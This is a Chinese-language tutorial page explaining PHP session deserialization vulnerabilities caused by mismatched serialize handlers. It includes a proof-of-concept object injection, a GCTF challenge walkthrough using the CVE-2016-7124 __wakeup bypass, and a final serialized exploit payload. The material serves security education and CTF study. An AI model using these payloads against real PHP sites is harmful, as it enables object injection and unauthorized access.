深入浅析PHP的session反序列化漏洞问题


Posted in PHP onJune 15, 2017

在php.ini中存在三项配置项:

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

 在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

session 的目录在 /var/lib/php/sessions 中

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump($_SESSION);

在 php_serialize 引擎下,session文件中存储的数据为:

a:1:{s:4:"name";s:6:"spoock";}

php 引擎下文件内容为:

name|s:6:"spoock";

php_binary 引擎下文件内容为:

names:6:"spoock";

由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

php文件如:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';

访问后得到session文件中的内容如下:

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}

但此时模拟在其他页面使用不同的php引擎来读取时的内容如下:(默认使用php引擎读取session文件)

<?php
#ini_set('session.serialize_handler', 'php_serialize');
session_start();
#$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
class A {
  public $a = 'aa';
  function __wakeup() {
    echo $this->a;
  }
}
// var_dump($_SESSION);

访问该页面输出xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将 a:1:{s:4:"ryat";s:30:" 作为SESSION的key,将 O:1:"A":1:{s:1:"a";s:2:"xx";} 作为value,然后进行反序列化,最后就会得到A这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。漏洞在加载使用php引擎的页面时session去读session中的内容并反序列化导致漏洞触发,不需要任何输出

GCTF上的一道session反序列化漏洞分析:

index.php中内容为:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
  $_SESSION['src'] = $_GET['src'];
  highlight_file(__FILE__);
  print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>

 在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。

<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>

query.php 中的内容为:

/************************/
/*
//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
      return 'key is:{'.$this->token.'}';
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/

思路如下:

这题中我们构造一个TOPC,在析构的时候则会调用echo $this->attr;

将attr赋值为TOPB对象,在echo TOPB的时候会自动调用__tostring魔术方法

在__tostring中会调用unserialize($this->attr),因为后面用到token和ticket,所以显然时TOPA对象。后面判断需要$this->obj->token === $this->obj->ticket,所以在序列化的时候进行指针引用使$a->ticket = &$a->token;,即可绕过判断。

至于为什么(string)$this->obj会输出flag,后台写的login可能是__tostring吧。

其中反序列化字符串中会有一个__wakeup()函数清空里面的参数,我问可以通过一个cve来绕过:CVE-2016-7124。将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。

最后的代码为:

$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;

最终payload为:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

以上所述是小编给大家介绍的PHP的session反序列化漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
php对mongodb的扩展(初出茅庐)
Nov 11 PHP
smarty 缓存控制前的页面静态化原理
Mar 15 PHP
解析php取整的几种方式
Jun 25 PHP
php 修改、增加xml结点属性的实现代码
Oct 22 PHP
ThinkPHP中使用ajax接收json数据的方法
Dec 18 PHP
PHP常用字符串操作函数实例总结(trim、nl2br、addcslashes、uudecode、md5等)
Jan 09 PHP
浅析Laravel5中队列的配置及使用
Aug 04 PHP
thinkphp5.0自定义验证规则使用方法
Nov 16 PHP
php常用日期时间函数实例小结
Jul 04 PHP
Smarty缓存机制实例详解【三种缓存方式】
Jul 20 PHP
PHP如何开启Opcache功能提升程序处理效率
Apr 27 PHP
解决PHP Opcache 缓存刷新、代码重载出现无法更新代码的问题
Aug 24 PHP
PHP中phar包的使用教程
Jun 14 #PHP
iis 7下安装laravel 5.4环境的方法教程
Jun 14 #PHP
PHP中关键字interface和implements详解
Jun 14 #PHP
详解php中的implements 使用
Jun 13 #PHP
PHP在弹框中获取foreach中遍历的id值并传递给地址栏
Jun 13 #PHP
php 中的closure用法详解
Jun 12 #PHP
PHP依赖注入(DI)和控制反转(IoC)详解
Jun 12 #PHP
You might like
IIS下PHP连接数据库提示mysql undefined function mysql_connect()
2010/06/04 PHP
微信公众平台天气预报功能开发
2014/07/06 PHP
php邮箱地址正则表达式验证
2015/11/13 PHP
php注册登录系统简化版
2020/12/28 PHP
highchart数据源纵轴json内的值必须是int(详解)
2017/02/20 PHP
PHP htmlentities()函数用法讲解
2019/02/25 PHP
php ActiveMQ的安装与使用方法图文教程
2020/02/23 PHP
从javascript语言本身谈项目实战
2006/12/27 Javascript
利用javascript的面向对象的特性实现限制试用期
2011/08/04 Javascript
javascript利用控件对windows的操作实现原理与应用
2012/12/23 Javascript
jQuery学习笔记之jQuery中的$
2015/01/19 Javascript
Javascript中的apply()方法浅析
2015/03/15 Javascript
JS实现登录页面记住密码和enter键登录方法推荐
2016/05/10 Javascript
JS中闭包的经典用法小结(2则示例)
2016/12/28 Javascript
Vue.js上下滚动加载组件的实例代码
2017/07/17 Javascript
Angular在模板驱动表单中自定义校验器的方法
2017/08/09 Javascript
two.js之实现动画效果示例
2017/11/06 Javascript
JS代码屏蔽F12,右键,粘贴,复制,剪切,选中,操作实例
2019/09/17 Javascript
javascript实现商品图片放大镜
2019/11/28 Javascript
python threading模块操作多线程介绍
2015/04/08 Python
Python中利用sqrt()方法进行平方根计算的教程
2015/05/15 Python
TensorFlow实现非线性支持向量机的实现方法
2018/04/28 Python
windows下pycharm安装、创建文件、配置默认模板
2018/07/31 Python
CentOS 7下安装Python3.6 及遇到的问题小结
2018/11/08 Python
Python测试模块doctest使用解析
2019/08/10 Python
解决Keras中CNN输入维度报错问题
2020/06/29 Python
Python使用tkinter实现小时钟效果
2021/02/22 Python
css3进阶之less实现星空动画的示例代码
2019/09/10 HTML / CSS
详解window.open被浏览器拦截的解决方案
2019/07/18 HTML / CSS
欧洲最大的球衣网上商店:Kitbag
2017/11/11 全球购物
The Body Shop美体小铺西班牙官网:天然化妆品
2019/06/21 全球购物
交通法规咨询中心工作职责
2013/11/27 职场文书
小学生爱国演讲稿
2014/04/25 职场文书
四风查摆问题自查报告
2014/10/10 职场文书
研究生导师评语
2014/12/31 职场文书
关于社会实践的心得体会(2016最新版)
2016/01/25 职场文书